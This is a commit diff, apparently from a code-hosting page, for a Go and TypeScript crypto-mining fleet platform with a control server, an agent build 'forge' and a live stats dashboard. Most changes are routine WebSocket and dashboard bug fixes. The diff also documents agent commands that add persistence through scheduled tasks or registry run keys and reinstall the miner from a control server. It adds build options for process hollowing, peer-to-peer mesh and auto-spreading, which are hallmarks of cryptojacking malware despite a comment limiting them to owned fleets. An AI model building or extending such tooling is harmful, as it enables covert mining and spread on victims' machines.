Fix build breakers and remaining runtime bugs across stack.
Remove corrupt empty main.go files, harden WebSocket reconnect and pre-auth handling, complete live stats in the dashboard hook, wire AI share counts, and refresh PROBLEMS.md.
This commit is contained in:
@@ -187,18 +187,24 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
defer func() {
|
||||
if agentID != "" {
|
||||
h.mu.Lock()
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
delete(h.agentLogs, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
cur := h.agents[agentID]
|
||||
// Only tear down fleet state if this connection is still the active one.
|
||||
if cur != nil && cur.Conn == conn {
|
||||
delete(h.agents, agentID)
|
||||
delete(h.agentConfigs, agentID)
|
||||
delete(h.agentLogs, agentID)
|
||||
h.mu.Unlock()
|
||||
if h.aiHandler != nil {
|
||||
h.aiHandler.RemoveEngine(agentID)
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
})
|
||||
} else {
|
||||
h.mu.Unlock()
|
||||
}
|
||||
h.db.SetAgentOffline(agentID)
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "agent_offline",
|
||||
Payload: mustMarshal(map[string]string{"agent_id": agentID}),
|
||||
})
|
||||
}
|
||||
conn.Close()
|
||||
}()
|
||||
@@ -328,6 +334,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
h.mu.Lock()
|
||||
if old, ok := h.agents[agentID]; ok && old.Conn != conn {
|
||||
oldConn := old.Conn
|
||||
h.mu.Unlock()
|
||||
oldConn.Close()
|
||||
h.mu.Lock()
|
||||
}
|
||||
h.agents[agentID] = &AgentConnection{AgentID: agentID, Conn: conn}
|
||||
h.mu.Unlock()
|
||||
|
||||
@@ -342,6 +354,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
|
||||
case "stats":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var stats struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
@@ -383,6 +398,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var share models.Share
|
||||
if err := json.Unmarshal(msg.Payload, &share); err != nil {
|
||||
continue
|
||||
@@ -460,9 +478,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
wallet = h.defaultPool.Wallet
|
||||
}
|
||||
|
||||
proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||
go proxy.SubmitShare(agentID, wallet, share.JobID, share.Nonce, share.Hash, sendShareResult)
|
||||
|
||||
case "get_job":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var proxy *pool.Proxy
|
||||
if h.poolManager != nil {
|
||||
poolCfg := h.agentPoolConfig(agentID)
|
||||
@@ -485,6 +506,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
case "log_tail":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload struct {
|
||||
Content string `json:"content"`
|
||||
Lines int `json:"lines"`
|
||||
@@ -501,6 +525,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
})
|
||||
|
||||
case "command_result":
|
||||
if agentID == "" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
|
||||
@@ -289,7 +289,7 @@ Args: {"process_name": "name of the miner process"}
|
||||
|
||||
### reinstall_miner
|
||||
Reinstall the miner from the control server.
|
||||
Args: {"server_url": "control server URL", "agent_id": "this agent's ID"}
|
||||
Args: {"server_url": "control server URL", "build_id": "forge build ID baked into the agent"}
|
||||
|
||||
### add_persistence
|
||||
Add persistence via scheduled task or registry run key.
|
||||
|
||||
@@ -38,6 +38,9 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
ai_enabled: false,
|
||||
ai_ollama_endpoint: 'http://localhost:11434',
|
||||
ai_model: 'llama3.2',
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
};
|
||||
|
||||
export function forgeDefaultsFromServer(config: ServerConfig, serverInfo: ServerInfo): BuildRequest {
|
||||
|
||||
@@ -92,6 +92,10 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
hashrate_1m: number;
|
||||
hashrate_15m: number;
|
||||
cpu_usage_pct: number;
|
||||
memory_usage_pct?: number;
|
||||
uptime_seconds?: number;
|
||||
shares_submitted?: number;
|
||||
shares_accepted?: number;
|
||||
};
|
||||
setAgents((prev) =>
|
||||
prev.map((a) =>
|
||||
@@ -102,6 +106,15 @@ export function useWebSocket(): UseWebSocketReturn {
|
||||
hashrate_1m: update.hashrate_1m,
|
||||
hashrate_15m: update.hashrate_15m,
|
||||
cpu_usage_pct: update.cpu_usage_pct,
|
||||
memory_usage_pct: update.memory_usage_pct ?? a.memory_usage_pct,
|
||||
uptime_seconds: update.uptime_seconds ?? a.uptime_seconds,
|
||||
shares_total: update.shares_submitted ?? a.shares_total,
|
||||
shares_good: update.shares_accepted ?? a.shares_good,
|
||||
shares_bad: Math.max(
|
||||
0,
|
||||
(update.shares_submitted ?? a.shares_total) -
|
||||
(update.shares_accepted ?? a.shares_good)
|
||||
),
|
||||
}
|
||||
: a
|
||||
)
|
||||
|
||||
@@ -240,6 +240,10 @@ export interface BuildRequest {
|
||||
ai_enabled: boolean;
|
||||
ai_ollama_endpoint: string;
|
||||
ai_model: string;
|
||||
// Advanced (off by default — enable only on owned/administered fleets)
|
||||
process_hollowing?: boolean;
|
||||
mesh_p2p?: boolean;
|
||||
auto_spread?: boolean;
|
||||
}
|
||||
|
||||
export interface BuildResponse {
|
||||
|
||||
Reference in New Issue
Block a user